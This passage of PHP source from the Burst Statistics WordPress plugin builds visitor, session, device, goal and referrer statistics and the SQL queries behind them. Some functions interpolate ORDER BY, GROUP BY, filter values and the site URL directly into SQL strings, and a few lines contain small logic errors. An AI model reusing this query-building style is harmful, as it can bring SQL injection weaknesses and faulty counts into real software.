				'metrics'    => [ 'pageviews', 'visitors' ],
			];
			$args          = wp_parse_args( $args, $defaults );
			$metrics       = $this->sanitize_metrics( $args['metrics'] );
			$metric_labels = $this->get_metrics();
			$filters       = burst_sanitize_filters( $args['filters'] );

			// generate labels for dataset
			$labels = [];
			// if not interval is a string and string is not ''
			$date_start     = (int) $args['date_start'];
			$date_end       = (int) $args['date_end'];
			$date_modifiers = $this->get_insights_date_modifiers( $date_start, $date_end );
			$datasets       = array();

			// foreach metric
			foreach ( $metrics as $metrics_key => $metric ) {
				$datasets[ $metrics_key ] = [
					'data'            => array(),
					'backgroundColor' => $this->get_metric_color( $metric, 'background' ),
					'borderColor'     => $this->get_metric_color( $metric, 'border' ),
					'label'           => $metric_labels[ $metric ],
					'fill'            => 'false',
				];
			}

			$date = $date_start;
			for ( $i = 0; $i < $date_modifiers['nr_of_intervals']; $i ++ ) {
				$date                      += $date_modifiers['interval_in_seconds'];
				$formatted_date            = date_i18n( $date_modifiers['php_date_format'], $date );
				$labels[ $formatted_date ] = date_i18n( $date_modifiers['php_pretty_date_format'], $date );

				// loop through metrics and assign x to 0, 1 , 2, 3, etc.
				foreach ( $metrics as $metric_key => $metric ) {
					$datasets[ $metric_key ]['data'][ $formatted_date ] = 0;
				}
			}

			$select = $this->sanitize_metrics( $metrics );

			$sql  = $this->get_sql_table( $date_start, $date_end, $select, $filters, 'period', 'period', '', array(), $date_modifiers );
			$hits = $wpdb->get_results( $sql, ARRAY_A );

			// match data from db to labels
			foreach ( $hits as $hit ) {
				$period = $hit['period']; // Get the period from the hit

				// Loop through each metric
				foreach ( $metrics as $metric_key => $metric_name ) {
					// Check if the period and the metric exist in the dataset
					if ( isset( $datasets[ $metric_key ]['data'][ $period ] ) && isset( $hit[ $metric_name ] ) ) {
						// Update the value for the corresponding metric and period
						$datasets[ $metric_key ]['data'][ $period ] = $hit[ $metric_name ];
					}
				}
			}

			// strip keys from array $labels to make it a simple array and work with ChartJS
			$labels = array_values( $labels );
			foreach ( $metrics as $metric_key => $metric_name ) {
				// strip keys from array $datasets to make it a simple array
				$datasets[ $metric_key ]['data'] = array_values( $datasets[ $metric_key ]['data'] );
			}

			return [
				'labels'   => $labels,
				'datasets' => $datasets,
			];
		}

		public function get_compare_data( $args = [] ) {
			$defaults = [
				'date_start' => 0,
				'date_end'   => 0,
				'page_id'    => false,
				'filters'    => [],
			];
			$args     = wp_parse_args( $args, $defaults );

			$start = (int) $args['date_start'];
			$end   = (int) $args['date_end'];

			if ( isset($args['compare_date_start']) && isset($args['compare_date_end'] )) {
				$start_diff = (int) $args['compare_date_start'];
				$end_diff   = (int) $args['compare_date_end'];
			} else {
				$diff       = $end - $start;
				$start_diff = $start - $diff;
				$end_diff   = $end - $diff;
			}

			$filters = burst_sanitize_filters( $args['filters'] );

			$select = [ 'visitors', 'pageviews', 'sessions', 'first_time_visitors', 'avg_time_on_page' ];

			// current data
			$current = $this->get_data( $select, $start, $end, $filters );

			// previous data
			$previous = $this->get_data( $select, $start_diff, $end_diff, $filters );

			// bounces

			$curr_bounces = $this->get_bounces( $start, $end, $filters );
			$prev_bounces = $this->get_bounces( $start_diff, $end_diff, $filters );

			// combine data
			$data = [
				'current'  => [
					'pageviews'           => (int) $current['pageviews'],
					'sessions'            => (int) $current['sessions'],
					'visitors'            => (int) $current['visitors'],
					'first_time_visitors' => (int) $current['first_time_visitors'],
					'avg_time_on_page'    => (int) $current['avg_time_on_page'],
					'bounced_sessions'    => $curr_bounces,
				],
				'previous' => [
					'pageviews'        => (int) $previous['pageviews'],
					'sessions'         => (int) $previous['sessions'],
					'visitors'         => (int) $previous['visitors'],
					'bounced_sessions' => $prev_bounces,
				],
			];

			return $data;
		}

		public function get_compare_goals_data( $args = [] ) {
			$defaults = [
				'date_start' => 0,
				'date_end'   => 0,
				'page_id'    => false,
				'filters'    => [],
			];
			$args     = wp_parse_args( $args, $defaults );

			$start      = (int) $args['date_start'];
			$end        = (int) $args['date_end'];
			$diff       = $end - $start;
			$start_diff = $start - $diff;
			$end_diff   = $end - $diff;
			$filters    = burst_sanitize_filters( $args['filters'] );

			$filters_without_goal = $filters;
			unset( $filters_without_goal['goal_id'] );

			$select = [ 'pageviews', 'visitors', 'sessions', 'first_time_visitors' ];
			// current data
			$current = $this->get_data( $select, $start, $end, $filters_without_goal );

			$select = [ 'pageviews', 'sessions', 'visitors' ];
			// previous data
			$previous = $this->get_data( $select, $start_diff, $end_diff, $filters_without_goal );

			// get amount of conversions for current period
			$current_conversions  = $this->get_conversions( $start, $end, $filters );
			$previous_conversions = $this->get_conversions( $start_diff, $end_diff, $filters );

			$current_conversion_rate  = $this->calculate_conversion_rate( $current_conversions, (int) $current['pageviews'] );
			$previous_conversion_rate = $this->calculate_conversion_rate( $previous_conversions, (int) $previous['pageviews'] );

			// combine data
			$data = [
				'view'     => 'goals',
				'current'  => [
					'pageviews'           => (int) $current['pageviews'],
					'visitors'            => (int) $current['visitors'],
					'sessions'            => (int) $current['sessions'],
					'first_time_visitors' => (int) $current['first_time_visitors'],
					'conversions'         => $current_conversions,
					'conversion_rate'     => $current_conversion_rate,
				],
				'previous' => [
					'pageviews'       => (int) $previous['pageviews'],
					'visitors'        => (int) $previous['visitors'],
					'sessions'        => (int) $previous['sessions'],
					'conversions'     => $previous_conversions,
					'conversion_rate' => $previous_conversion_rate,
				],
			];

			return $data;
		}

		public function get_data( $select, $start, $end, $filters ) {
			global $wpdb;
			$sql    = $this->get_sql_table( $start, $end, $select, $filters );
			$result = $wpdb->get_results( $sql, 'ARRAY_A' );

			return $result[0] ?? array_fill_keys( $select, 0 );
		}

		private function get_bounces( $start, $end, $filters ) {
			global $wpdb;
			$sql = $this->get_sql_table( $start, $end, [ 'bounces' ], $filters );

			return (int) $wpdb->get_var( $sql );
		}

		private function get_conversions( $start, $end, $filters ) {
			global $wpdb;

			// filter is goal id so pageviews returned are the conversions
			$sql = $this->get_sql_table( $start, $end, [ 'conversions' ], $filters );

			return (int) $wpdb->get_var( $sql );
		}


		public function get_devices_title_and_value_data( $args = [] ) {
			global $wpdb;
			$defaults     = [
				'date_start' => 0,
				'date_end'   => 0,
				'filters'    => [],
			];
			$args         = wp_parse_args( $args, $defaults );
			$start        = (int) $args['date_start'];
			$end          = (int) $args['date_end'];
			$filters      = burst_sanitize_filters( $args['filters'] );
			$goal_id      = $filters['goal_id'] ?? null;
			$country_code = $filters['country_code'] ?? null;

			// Conditional JOIN and WHERE based on the presence of goal_id
			$join_clause = '';
			// if string is not '' then add 'AND' to the string
			$where_clause = $this->get_where_clause_for_filters( $filters );
			if ( $goal_id !== null ) {
				$join_clause = "INNER JOIN {$wpdb->prefix}burst_goal_statistics AS goals ON statistics.ID = goals.statistic_id";
				// append to where clause
				$where_clause .= $wpdb->prepare( ' AND goals.goal_id = %d ', $goal_id );
			}
			if ( $country_code !== null ) {
				$join_clause  .= " INNER JOIN {$wpdb->prefix}burst_sessions AS sessions ON statistics.session_id = sessions.ID ";
				$where_clause .= $wpdb->prepare( ' AND sessions.country_code = %s ', $country_code );
			}

			$sql           = $wpdb->prepare(
				"SELECT device, COUNT(device) AS count
				        FROM (
				            SELECT statistics.device 
				            FROM {$wpdb->prefix}burst_statistics AS statistics
				            $join_clause
				            WHERE time > %s
				            AND time < %s 
				            AND device IS NOT NULL 
				            AND device <> ''
				            $where_clause
				        ) AS statistics
				        GROUP BY device;",
				$start,
				$end,
				$goal_id
			);
			$devicesResult = $wpdb->get_results( $sql, ARRAY_A );

			$total   = 0;
			$devices = array();
			foreach ( $devicesResult as $key => $data ) {
				$name             = $data['device'];
				$devices[ $name ] = [
					'count' => $data['count'],
				];
				$total            += $data['count'];
			}
			$devices['all'] = [
				'count' => $total,
			];

			// setup defaults
			$default_data = [
				'all'     => [
					'count' => 0,
				],
				'desktop' => [
					'count' => 0,
				],
				'tablet'  => [
					'count' => 0,
				],
				'mobile'  => [
					'count' => 0,
				],
				'other'   => [
					'count' => 0,
				],
			];

			return wp_parse_args( $devices, $default_data );
		}

		public function get_devices_subtitle_data( $args = [] ) {
			global $wpdb;
			$defaults     = [
				'date_start' => 0,
				'date_end'   => 0,
				'filters'    => array(),
			];
			$args         = wp_parse_args( $args, $defaults );
			$start        = (int) $args['date_start'];
			$end          = (int) $args['date_end'];
			$devices      = array( 'desktop', 'tablet', 'mobile', 'other' );
			$filters      = burst_sanitize_filters( $args['filters'] );
			$goal_id      = $filters['goal_id'] ?? null;
			$country_code = $filters['country_code'] ?? null;

			// if string is not '' then add 'AND' to the string
			$where_clause = $this->get_where_clause_for_filters( $filters );
			$data         = array();

			// Loop through results and add count to array
			foreach ( $devices as $device ) {
				$device_sql = $wpdb->prepare( ' device=%s ', $device );
				$common_sql = " FROM {$wpdb->prefix}burst_statistics AS statistics ";
				$where_sql  = $wpdb->prepare( " WHERE time > %d AND time < %d AND device IS NOT NULL AND device <> '' $where_clause", $start, $end );

				// Conditional JOIN and WHERE based on the presence of goal_id
				if ( $goal_id !== null ) {
					$common_sql .= " INNER JOIN {$wpdb->prefix}burst_goal_statistics AS goals ON statistics.ID = goals.statistic_id ";
					$where_sql  .= $wpdb->prepare( ' AND goals.goal_id = %d ', $goal_id );
				}

				if ( $country_code ) {
					$common_sql .= " INNER JOIN {$wpdb->prefix}burst_sessions AS sessions ON statistics.session_id = sessions.ID ";
					$where_sql  .= $wpdb->prepare( ' AND sessions.country_code = %s ', $country_code );
				}

				// Query for browser and OS
				$sql     = $wpdb->prepare( "SELECT browser, platform FROM (SELECT browser, platform, COUNT(*) AS count, device $common_sql $where_sql AND browser IS NOT NULL GROUP BY browser, platform, device ) AS grouped_devices WHERE $device_sql ORDER BY count DESC LIMIT 1", '' );
				$results = $wpdb->get_row( $sql, ARRAY_A );

				$data[ $device ] = array(
					'browser' => $results['browser'] ?? false,
					'os'      => $results['platform'] ?? false,
				);

			}

			// setup defaults
			$default_data = [
				'desktop' => [
					'os'      => '',
					'browser' => '',
				],
				'tablet'  => [
					'os'      => '',
					'browser' => '',
				],
				'mobile'  => [
					'os'      => '',
					'browser' => '',
				],
				'other'   => [
					'os'      => '',
					'browser' => '',
				],
			];

			return wp_parse_args( $data, $default_data );
		}

		/**
		 * This function retrieves data related to pages for a given period and set of metrics.
		 *
		 * @param array $args An associative array of arguments. Possible keys are:
		 *                    'date_start' => The start date of the period to retrieve data for, as a Unix timestamp. Default is 0.
		 *                    'date_end' => The end date of the period to retrieve data for, as a Unix timestamp. Default is 0.
		 *                    'metrics' => An array of metrics to retrieve data for. Default is array( 'pageviews' ).
		 *                    'filters' => An array of filters to apply to the data retrieval. Default is an empty array.
		 *
		 * @return array An associative array containing the following keys:
		 *               'columns' => An array of column definitions for the data.
		 *               'data' => An array of data rows.
		 *               'metrics' => An array of metrics that the data was retrieved for.
		 *
		 * @todo add support for exit rate, entrances, actual pagespeed, returning visitors, interactions per visit
		 */
		public function get_datatables_data(
			$args = []
		) {
			global $wpdb;
			$defaults = [
				'date_start' => 0,
				'date_end'   => 0,
				'metrics'    => [ 'pageviews' ],
				'filters'    => [],
				'limit'     => '',
			];
			$args     = wp_parse_args( $args, $defaults );
			$filters  = burst_sanitize_filters( $args['filters'] );
			$metrics  = $this->sanitize_metrics( $args['metrics'] );
			$group_by = $this->sanitize_metrics( $args['group_by'] ?? array() );
			// group by from array to comma seperated string
			$group_by      = implode( ',', $group_by );
			$metric_labels = $this->get_metrics();
			$start         = (int) $args['date_start'];
			$end           = (int) $args['date_end'];
			$columns       = array();
			$limit         = (int) $args['limit'] ?? '';

			// if metrics are not set return error
			if ( empty( $metrics ) ) {
				return new WP_Error( 'no_metrics', __( 'No metrics were set', 'burst-statistics' ) );
			}

			foreach ( $metrics as $metric ) {
				$metric = $this->sanitize_metric( $metric );

				// if goal_id isset then metric is a conversion
				$title = $metric_labels[ $metric ];

				$columns[] = [
					'name'     => $title,
					'id'       => $metric,
					'sortable' => true,
					'right'    => true,
				];
			}

			$last_metric_count = (int) count( $metrics ) - 1;
			$order_by          = $metrics[ $last_metric_count ] . ' DESC';

			$sql  = $this->get_sql_table( $start, $end, $metrics, $filters, $group_by, $order_by, $limit );
			$data = $wpdb->get_results( $sql, ARRAY_A );


			return [
				'columns' => $columns,
				'data'    => $data,
				'metrics' => $metrics,
			];
		}

		public function get_referrers_sql( $start, $end, $filters = [] ) {
			$remove   = array( 'http://www.', 'https://www.', 'http://', 'https://' );
			$site_url = str_replace( $remove, '', site_url() );
			$sql      = $this->get_sql_table( $start, $end, array( 'count', 'referrer' ), $filters );
			$sql      .= "AND referrer NOT LIKE '%$site_url%' GROUP BY referrer ORDER BY 1 DESC";

			return $sql;
		}

		/**
		 * convert date string to utc offset by gmt offset
		 *
		 * @param $time_string      string
		 *                          date string in format Y-m-d H:i:s
		 *
		 * @return int
		 */
		public function convert_date_to_unix(
			$time_string
		): int {
			$time               = DateTime::createFromFormat( 'Y-m-d H:i:s', $time_string );
			$utc_time           = $time ? $time->format( 'U' ) : strtotime( $time_string );
			$gmt_offset_seconds = (int) ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

			return $utc_time - $gmt_offset_seconds;
		}

		/**
		 * convert unix timestamp to date string by gmt offset
		 *
		 * @param $unix_timestamp      int
		 *
		 * @return string
		 */
		public function convert_unix_to_date( $unix_timestamp ): string {
			// Adjust the Unix timestamp for the GMT offset
			$gmt_offset_seconds = (int) ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
			$adjusted_timestamp = $unix_timestamp + $gmt_offset_seconds;

			// Convert the adjusted timestamp to a DateTime object
			$time = new DateTime();
			$time->setTimestamp( $adjusted_timestamp );

			// Format the DateTime object to 'Y-m-d' format
			return $time->format( 'Y-m-d' );
		}


		/**
		 * @param string $period
		 * @param int    $date_start
		 * @param int    $date_end
		 *
		 * @return float
		 */
		private function get_nr_of_periods(
			string $period,
			int $date_start,
			int $date_end
		): float {
			$range_in_seconds  = $date_end - $date_start;
			$period_in_seconds = defined( strtoupper( $period ) . '_IN_SECONDS' ) ? constant( strtoupper( $period ) . '_IN_SECONDS' ) : DAY_IN_SECONDS;

			return ROUND( $range_in_seconds / $period_in_seconds );
		}

		/**
		 * Get color for a graph
		 *
		 * @param string $metric
		 * @param string $type 'background' or 'border'
		 *
		 * @return string
		 */
		private function get_metric_color(
			string $metric = 'visitors',
			string $type = 'default'
		): string {
			$colors = [
				'visitors'    => [
					'background' => 'rgba(41, 182, 246, 0.2)',
					'border'     => 'rgba(41, 182, 246, 1)',
				],
				'pageviews'   => [
					'background' => 'rgba(244, 191, 62, 0.2)',
					'border'     => 'rgba(244, 191, 62, 1)',
				],
				'bounces'     => [
					'background' => 'rgba(215, 38, 61, 0.2)',
					'border'     => 'rgba(215, 38, 61, 1)',
				],
				'sessions'    => [
					'background' => 'rgba(128, 0, 128, 0.2)',
					'border'     => 'rgba(128, 0, 128, 1)',
				],
				'conversions' => [
					'background' => 'rgba(46, 138, 55, 0.2)',
					'border'     => 'rgba(46, 138, 55, 1)',
				],
			];
			if ( ! isset( $colors[ $metric ] ) ) {
				$metric = 'visitors';
			}
			if ( ! isset( $colors[ $metric ][ $type ] ) ) {
				$type = 'default';
			}

			return $colors[ $metric ][ $type ];
		}

		public function get_dashboard_widget_statistics(
			$date_start = 0,
			$date_end = 0
		) {
			global $wpdb;
			$time_diff       = $date_end - $date_start;
			$date_start_diff = $date_start - $time_diff;
			$date_end_diff   = $date_end - $time_diff;

			$curr_data = $wpdb->get_results(
				$this->get_sql_table(
					$date_start,
					$date_end,
					[
						'visitors',
						'sessions',
						'pageviews',
						'avg_time_on_page',
					]
				)
			);
			$prev_data = $wpdb->get_results(
				$this->get_sql_table(
					$date_start_diff,
					$date_end_diff,
					[
						'visitors',
						'sessions',
						'pageviews',
						'avg_time_on_page',
					]
				)
			);

			// calculate uplift for visitors
			$visitors               = $curr_data[0]->visitors;
			$visitors_uplift        = $this->format_uplift( $prev_data[0]->visitors, $visitors );
			$visitors_uplift_status = $this->calculate_uplift_status( $prev_data[0]->visitors, $visitors );

			// time per session = avg time_on_page / avg pageviews per session
			$average_pageviews_per_session = ( (int) $curr_data[0]->sessions != 0 ) ? ( $curr_data[0]->pageviews / $curr_data[0]->sessions ) : 0;
			$time_per_session              = $curr_data[0]->avg_time_on_page / max( 1, $average_pageviews_per_session );

			// prev time per session
			$prev_average_pageviews_per_session = ( (int) $prev_data[0]->sessions != 0 ) ? ( $prev_data[0]->pageviews / $prev_data[0]->sessions ) : 0;
			$prev_time_per_session              = $prev_data[0]->avg_time_on_page / max( 1, $prev_average_pageviews_per_session );

			// calculate uplift for time per session
			$time_per_session_uplift        = $this->format_uplift( $prev_time_per_session, $time_per_session );
			$time_per_session_uplift_status = $this->calculate_uplift_status( $prev_time_per_session, $time_per_session );

			// get top referrer
			$top_referrer = $wpdb->get_results(
				$this->get_sql_table(
					$date_start,
					$date_end,
					[
						'pageviews',
						'referrer',
					],
					'referrer',
					'pageviews DESC',
					1
				)
			);
			if ( isset( $top_referrer[0] ) ) {
				if ( $top_referrer[0]->referrer == 'Direct' ) {
					$top_referrer[0]->referrer = __( 'Direct', 'burst-statistics' );
				} else if ( $top_referrer[0]->pageviews === 0 ) {
					$top_referrer[0]->referrer = __( 'No referrers', 'burst-statistics' );
				}
			}

			// get most visited page

			$most_visited = $wpdb->get_results(
				$this->get_sql_table(
					$date_start,
					$date_end,
					[
						'pageviews',
						'page_url',
					],
					'page_url',
					'pageviews DESC',
					1
				)
			);
			if ( isset( $most_visited[0] ) ) {
				if ( $most_visited[0]->page_url === '/' ) {
					$most_visited[0]->page_url = __( 'Homepage', 'burst-statistics' );
				} else if ( ! $most_visited[0]->pageviews === 0 ) {
					$most_visited[0]->page_url = __( 'No pageviews', 'burst-statistics' );
				}
			}
			// Create the result array

			$result['visitors']                       = $visitors;
			$result['visitors_uplift']                = $visitors_uplift;
			$result['visitors_uplift_status']         = $visitors_uplift_status;
			$result['time_per_session']               = $time_per_session;
			$result['time_per_session_uplift']        = $time_per_session_uplift;
			$result['time_per_session_uplift_status'] = $time_per_session_uplift_status;
			$result['top_referrer']                   = isset( $top_referrer[0]->referrer ) ? $top_referrer[0]->referrer : __( 'No referrers', 'burst-statistics' );
			$result['top_referrer_pageviews']         = isset( $top_referrer[0]->pageviews ) ? $top_referrer[0]->pageviews : 0;
			$result['most_visited']                   = isset( $most_visited[0]->page_url ) ? $most_visited[0]->page_url : __( 'No pageviews', 'burst-statistics' );
			$result['most_visited_pageviews']         = isset( $top_referrer[0]->pageviews ) ? $top_referrer[0]->pageviews : 0;

			return $result;
		}

		/**
		 * Helper function to get percentage, allow for zero division
		 *
		 * @param int    $value
		 * @param int    $total
		 * @param string $type
		 *
		 * @return float
		 */
		private function calculate_ratio(
			$value,
			$total,
			string $type = '%'
		) {
			$value    = (int) $value;
			$total    = (int) $total;
			$multiply = 1;
			if ( $type === '%' ) {
				$multiply = 100;
			}

			return $total == 0 ? 0 : round( $value / $total * $multiply, 1 );
		}

		private function calculate_conversion_rate(
			$value,
			$total
		) {
			return $this->calculate_ratio( $value, $total, '%' );
		}

		/**
		 * Generates a WHERE clause for SQL queries based on provided filters.
		 *
		 * @param array $filters Associative array of filters.
		 *
		 * @return string WHERE clause for SQL query.
		 */
		function get_where_clause_for_filters( $filters = array() ) {
			$filters      = burst_sanitize_filters( $filters );
			$whereClauses = array();

			// Define filters including their table prefixes.
			$possibleFiltersWithPrefix = apply_filters(
				'burst_possible_filters_with_prefix',
				[
					'bounce'       => 'statistics.bounce',
					'page_id'      => 'statistics.page_id',
					'page_url'     => 'statistics.page_url',
					'referrer'     => 'statistics.referrer',
					'device'       => 'statistics.device',
					'browser'      => 'statistics.browser',
					'platform'     => 'statistics.platform',
					'country_code' => 'sessions.country_code',
					// Assuming 'country_code' filter is in the 'sessions' table.
				]
			);

			foreach ( $filters as $filter => $value ) {
				if ( array_key_exists( $filter, $possibleFiltersWithPrefix ) ) {
					$qualifiedName = $possibleFiltersWithPrefix[ $filter ];

					if ( is_numeric( $value ) ) {
						$whereClauses[] = "{$qualifiedName} = " . intval( $value );
					} else {
						$value = esc_sql( sanitize_text_field( $value ) );
						if ( $filter === 'referrer' ) {
							$value          = ( $value === __( 'Direct', 'burst-statistics' ) ) ? "''" : "'%{$value}'";
							$whereClauses[] = "{$qualifiedName} LIKE {$value}";
						} else {
							$whereClauses[] = "{$qualifiedName} = '{$value}'";
						}
					}
				}
			}

			// Construct the WHERE clause.
			$where = implode( ' AND ', $whereClauses );

			return ! empty( $where ) ? "AND $where" : '';
		}


		/**
		 * Get query for statistics
		 *
		 * @param int         $start
		 * @param int         $end
		 * @param array       $select
		 * @param array       $filters
		 * @param string      $group_by
		 * @param string      $order_by
		 * @param string      $limit
		 * @param array       $joins
		 * @param array|false $date_modifiers
		 *
		 * @return string|null
		 */
		public function get_sql_table( $start, $end, $select = [ '*' ], $filters = [], $group_by = '', $order_by = '', $limit = '', $joins = array(), $date_modifiers = false ) {

			$raw = $date_modifiers && strpos( $date_modifiers['sql_date_format'], '%H' ) !== false;
			if ( ! $raw && BURST()->summary->upgrade_completed() && BURST()->summary->is_summary_data( $select, $filters, $end ) ) {
				return BURST()->summary->summary_sql( $start, $end, $select, $group_by, $order_by, $limit, $date_modifiers );
			}
			$sql = $this->get_sql_table_raw( $start, $end, $select, $filters, $group_by, $order_by, $limit, $joins );

			if ( $date_modifiers ) {
				$sql = str_replace( 'SELECT', "SELECT DATE_FORMAT(FROM_UNIXTIME(time), '{$date_modifiers['sql_date_format']}') as period,", $sql );
			}

			return $sql;
		}


		/**
		 * Function to get the SQL query to exclude bounces from query's
		 *
		 * @return string
		 */
		public function get_sql_table_raw( int $start, int $end, $select = [ '*' ], $filters = [], $group_by = '', $order_by = '', $limit = '', $joins = array() ) {
			global $wpdb;
			$filters    = esc_sql( $filters );
			$select     = esc_sql( $select );
			$group_by   = esc_sql( $group_by );
			$order_by   = esc_sql( $order_by );
			$limit      = ! empty( $limit ) ? (int) $limit : '';
			$select     = $this->get_sql_select_for_metrics( $select );
			$table_name = $wpdb->prefix . 'burst_statistics';
			$where      = $this->get_where_clause_for_filters( $filters );

			// if $select string contains referrer add where clause for referrer
			if ( strpos( $select, 'referrer' ) !== false ) {
				$remove   = [ 'http://www.', 'https://www.', 'http://', 'https://' ];
				$site_url = str_replace( $remove, '', site_url() );
				$where    .= "AND referrer NOT LIKE '%$site_url%'";
			}

			if ( burst_is_pro() && strpos( $select, 'parameters,' ) !== false ) {
				$where .= "AND parameters IS NOT NULL AND parameters != ''";
			}

			if ( burst_is_pro() && strpos( $select, 'parameter,' ) !== false ) {
				$where .= "AND parameter IS NOT NULL AND parameter != '='";
			}

			$available_joins = apply_filters(
				'burst_available_joins',
				array(
					'sessions' => [
						'table' => 'burst_sessions',
						'on'    => 'statistics.session_id = sessions.ID',
						'type'  => 'INNER', // Optional, default is INNER JOIN
					],
					'goals'    => array(
						'table' => 'burst_goal_statistics',
						'on'    => 'statistics.ID = goals.statistic_id',
						'type'  => 'LEFT', // Optional, default is INNER JOIN
					),
				)
			);

			// find possible joins in $select and $where
			foreach ( $available_joins as $join => $table ) {
				if ( strpos( $select, $join . '.' ) !== false || strpos( $where, $join . '.' ) !== false ) {
					$joins[ $join ] = $table;
				}
			}

			$join_sql = '';
			foreach ( $joins as $key => $join ) {
				$join_table = $wpdb->prefix . $join['table'];
				$join_on    = $join['on'];
				$join_type  = $join['type'] ?? 'INNER';
				$join_sql   .= " {$join_type} JOIN {$join_table} AS {$key} ON {$join_on}";
			}

			$table_name .= ' AS statistics';

			// if parameter is in select, then we need to join the parameters table
			if ( strpos( $select, 'parameter,' ) !== false ) {
				// replcae the group by with the parameter
				$group_by = 'parameters.parameter, parameters.value';
				// if parameters is also in the group by then we need to add the parameters table to the join
				if ( strpos( $select, 'parameters,' ) !== false ) {
					// if group by is set then we add a comma and statistics.parameters to the group by. If not then it just becomes statistics.parameters
					$group_by = $group_by ? $group_by . ', statistics.parameters' : '';
				}
			}

			$group_by = $group_by ? "GROUP BY $group_by" : '';
			$order_by = $order_by ? "ORDER BY $order_by" : '';
			$limit    = $limit ? 'LIMIT ' . (int) $limit : '';

			return "SELECT $select FROM $table_name $join_sql WHERE time > $start AND time < $end $where $group_by $order_by $limit";
		}


		function get_sql_select_for_metric( $metric ) {
			$exclude_bounces = apply_filters( 'burst_exclude_bounces', 1 );

			global $wpdb;
			// if metric starts with  'count(' and ends with ')', then it's a custom metric
			// so we sanitize it and return it
			if ( substr( $metric, 0, 6 ) === 'count(' && substr( $metric, - 1 ) === ')' ) {
				// delete the 'count(' and ')' from the metric
				// sanitize_title and wrap it in count()
				return 'count(' . sanitize_title( substr( $metric, 6, - 1 ) ) . ')';
			}
			// using COALESCE to prevent NULL values in the output, in the today
			switch ( $metric ) {
				case 'pageviews':
				case 'count':
					$sql = $exclude_bounces ? 'COALESCE( SUM( CASE WHEN bounce = 0 THEN 1 ELSE 0 END ), 0)' : 'COUNT( statistics.ID )';
					break;
				case 'bounces':
					$sql = 'COALESCE( SUM( CASE WHEN bounce = 1 THEN 1 ELSE 0 END ), 0)';
					break;
				case 'bounce_rate':
					$sql = 'SUM( statistics.bounce ) / COUNT( DISTINCT statistics.session_id ) * 100';
					break;
				case 'sessions':
					$sql = $exclude_bounces ? 'COUNT( DISTINCT CASE WHEN bounce = 0 THEN statistics.session_id END )' : 'COUNT( DISTINCT statistics.session_id )';
					break;
				case 'avg_time_on_page':
					$sql = $exclude_bounces ? 'COALESCE( AVG( CASE WHEN bounce = 0 THEN statistics.time_on_page END ), 0 )' : 'AVG( statistics.time_on_page )';
					break;
				case 'first_time_visitors':
					$sql = $exclude_bounces ? 'COALESCE( SUM( CASE WHEN bounce = 0 THEN statistics.first_time_visit ELSE 0 END ), 0 ) ' : 'SUM( statistics.first_time_visit )';
					break;
				case 'visitors':
					$sql = $exclude_bounces ? 'COUNT(DISTINCT CASE WHEN bounce = 0 THEN statistics.uid END)' : 'COUNT(DISTINCT statistics.uid)';
					break;
				case 'page_url':
					$sql = 'statistics.page_url';
					break;
				case 'page_id':
					$sql = 'statistics.page_id';
					break;
				case 'referrer':
					$remove   = [ 'http://www.', 'https://www.', 'http://', 'https://' ];
					$site_url = str_replace( $remove, '', site_url() );
					$sql      = $wpdb->prepare(
						"CASE
                       WHEN statistics.referrer = '' OR statistics.referrer IS NULL OR statistics.referrer LIKE %s THEN 'Direct'
                       ELSE trim( 'www.' from substring(statistics.referrer, locate('://', statistics.referrer) + 3))
                   END",
						'%' . $wpdb->esc_like( $site_url ) . '%'
					);
					break;
				case 'conversions':
					$sql = 'count( goals.goal_id )';
					break;
				default:
					$sql = apply_filters( 'burst_select_sql_for_metric', $metric );
					break;
			}
			if ( $sql === false ) {
				burst_error_log( 'No SQL for metric: ' . $metric );
			}

			return $sql;
		}

		/**
		 * @param $metrics
		 * @param $filters array
		 *
		 * @return string
		 */
		function get_sql_select_for_metrics( $metrics ) {
			$metrics = esc_sql( $metrics );
			$select  = '';
			$count   = count( $metrics );
			$i       = 1;
			foreach ( $metrics as $metric ) {
				$sql = $this->get_sql_select_for_metric( $metric );
				if ( $sql !== false && $sql !== '' && $metric !== '*' ) {
					// if metric starts with  'count(' and ends with ')', then it's a custom metric
					// so we change the $metric name to 'metric'_count
					if ( substr( $metric, 0, 6 ) === 'count(' && substr( $metric, - 1 ) === ')' ) {
						// strip the 'count(' and ')' from the metric
						$metric = substr( $metric, 6, - 1 );
						$metric .= '_count';
					}
					$select .= $sql . ' as ' . $metric;
				} else { // if it's a wildcard, then we don't need to add the alias
					$select .= '*';
				}

				if ( $count !== $i ) { // if it's not the last metric, then we need to add a comma
					$select .= ', ';
				}
				++ $i;
			}

			return $select;
		}

		/**
		 * Function to format uplift
		 *
		 * @param $original_value
		 * @param $new_value
		 *
		 * @return string
		 */
		public function format_uplift(
			$original_value,
			$new_value
		) {
			$uplift = burst_format_number( $this->calculate_uplift( $new_value, $original_value ), 0 );
			if ( $uplift === 0 ) {
				return '';
			}

			return $uplift > 0 ? '+' . $uplift . '%' : $uplift . '%';
		}

		/**
		 * Function to calculate uplift
		 *
		 * @param $original_value
		 * @param $new_value
		 *
		 * @return int
		 */
		public function calculate_uplift(
			$original_value,
			$new_value
		) {
			$increase = $original_value - $new_value;

			return $this->calculate_ratio( $increase, $new_value );
		}

		/**
		 * Function to calculate uplift status
		 *
		 * @param $original_value
		 * @param $new_value
		 *
		 * @return string
		 */
		public function calculate_uplift_status(
			$original_value,
			$new_value
		) {
			$status = '';
			$uplift = $this->calculate_uplift( $new_value, $original_value );

			if ( $uplift > 0 ) {
				$status = 'positive';
			} else if ( $uplift < 0 ) {
				$status = 'negative';
			}

			return $status;
		}

		public function get_device_name(
			$device
		): ?string {
			switch ( $device ) {
				case 'desktop':
					$device_name = __( 'Desktop', 'burst-statistics' );
					break;
				case 'mobile':
					$device_name = __( 'Mobile', 'burst-statistics' );
					break;
				case 'tablet':
					$device_name = __( 'Tablet', 'burst-statistics' );
					break;
				case 'other':
				default:
					$device_name = __( 'Other', 'burst-statistics' );
					break;
			}

			return $device_name;
		}
	}
}

/**
 * Install statistic table
 * */

add_action( 'burst_install_tables', 'burst_install_statistics_table', 10 );
function burst_install_statistics_table() {
	if ( get_option( 'burst_stats_db_version' ) !== burst_version ) {
		require_once ABSPATH . 'wp-admin/includes/upgrade.php';

		global $wpdb;
		$charset_collate = $wpdb->get_charset_collate();

		$table_name = $wpdb->prefix . 'burst_statistics';
		$sql        = "CREATE TABLE $table_name (
			`ID` int NOT NULL AUTO_INCREMENT ,
            `page_url` varchar(191) NOT NULL,
            `time` int NOT NULL,
